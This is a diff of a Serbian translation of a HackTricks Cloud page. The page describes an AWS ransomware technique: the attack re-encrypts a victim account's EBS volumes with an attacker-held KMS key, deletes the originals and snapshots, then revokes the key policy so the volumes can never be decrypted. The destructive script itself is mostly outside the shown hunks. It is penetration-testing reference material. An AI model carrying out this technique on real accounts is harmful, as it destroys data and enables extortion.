20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220) -Takođe vredi napomenuti da je skripta zaustavila EC2 instance kako bi odvojila i obrisala originalne EBS volumene. Originalni nekriptovani volumeni su sada nestali. +Vredno napomene: skripta je zaustavila EC2 instance da bi odvojila i obrisala originalne EBS volumene. Originalni nekriptovani volumeni su sada nestali. ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e) -Zatim se vratite na key policy u 'attacker' nalogu i uklonite pravilo politike 'Outside Encryption' iz key policy-ja. +Zatim se vratite na key policy u 'attacker' nalogu i uklonite pravilo 'Outside Encryption' iz key policy-a. ```json { "Version": "2012-10-17", @@ -493,15 +497,15 @@ Zatim se vratite na key policy u 'attacker' nalogu i uklonite pravilo politike ' ] } ``` -Sačekajte trenutak da se novo postavljena key policy propagira. Zatim se vratite na 'victim' nalog i pokušajte da prikačite jedan od novo enkriptovanih EBS volumena. Videćete da možete prikačiti volumen. +Sačekajte kratko da se novopodešena key policy propagira. Zatim se vratite na 'victim' account i pokušajte da prikačite jedan od novо-šifrovanih EBS volumena. Videćete da možete da prikačite volumen. ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) -Međutim, kada pokušate da zaista pokrenete EC2 instance sa enkriptovanim EBS volumenom, to će jednostavno da zakaže i instanca će iz stanja 'pending' vratiti u stanje 'stopped' zauvek, pošto prikačeni EBS volumen ne može biti dekriptovan pomoću ključa jer key policy više to ne dozvoljava. +Međutim, kada pokušate zapravo da pokrenete EC2 instance sa prikačenim šifrovanim EBS volumenom, to će samo da zakaže i instance će iz 'pending' stanja vratiti u 'stopped' stanje zauvek, jer prikačeni EBS volume ne može biti dekriptovan pomoću ključa pošto key policy više ne dozvoljava to. ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -Ovo je python skripta koja je korišćena. Prima AWS creds za 'victim' nalog i javno dostupnu AWS ARN vrednost za ključ koji će se koristiti za enkripciju. Skripta će napraviti enkriptovane kopije SVIH dostupnih EBS volumena prikačenih na SVE EC2 instance u ciljanom AWS nalogu, potom zaustaviti svaku EC2 instancu, odvojiti originalne EBS volumene, obrisati ih i na kraju obrisati sve snapshots korišćene tokom procesa. Ovo će ostaviti samo enkriptovane EBS volumene u ciljanom 'victim' nalogu. KORISTITE OVU SKRIPTU SAMO U TEST OKRUŽENJU, ONA JE DESTRUKTIVNA I OBRISAĆE SVE ORIGINALNE EBS VOLUME. Možete ih povratiti koristeći korišćeni KMS key i vratiti ih u prvobitno stanje preko snapshots-a, ali samo želim da vas upozorim da je ovo na kraju dana ransomware PoC. +Ovo je python skript koji se koristi. On prihvata AWS creds za 'victim' account i javno dostupnu AWS ARN vrednost ključa koji će se koristiti za enkripciju. Skript će napraviti šifrovane kopije SVIH dostupnih EBS volumena koji su prikačeni na SVE EC2 instance u ciljanom AWS account-u, zatim zaustaviti svaku EC2 instance, odvojiti originalne EBS volumene, obrisati ih, i na kraju obrisati sve snapshots koji su korišćeni tokom procesa. Ovo će ostaviti samo šifrovane EBS volumene u ciljanom 'victim' account-u. KORISTITE OVAJ SKRIPT SAMO U TEST OKRUŽENJU — ON JE DESTRUKTIVAN I OBRISAĆE SVE ORIGINALNE EBS VOLUMENE. Možete ih povratiti koristeći upotrebljeni KMS key i vratiti ih u prvobitno stanje putem snapshots-a, ali želim da vas upozorim da je ovo na kraju dana ransomware PoC. ``` import boto3 import argparse @@ -618,10 +622,12 @@ delete_snapshots(ec2_client, snapshot_ids) if __name__ == "__main__": main() ``` -## Izvori +## Reference -- [Latacora - ECS on EC2: Pokrivanje praznina u IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) +- +- [Latacora - ECS on EC2: Covering Gaps in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) - [Latacora ecs-on-ec2-gaps-in-imds-hardening Terraform repo](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) -- [Pentest Partners – Kako preneti fajlove u AWS koristeći SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/) +- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/) + {{#include ../../../../banners/hacktricks-training.md}}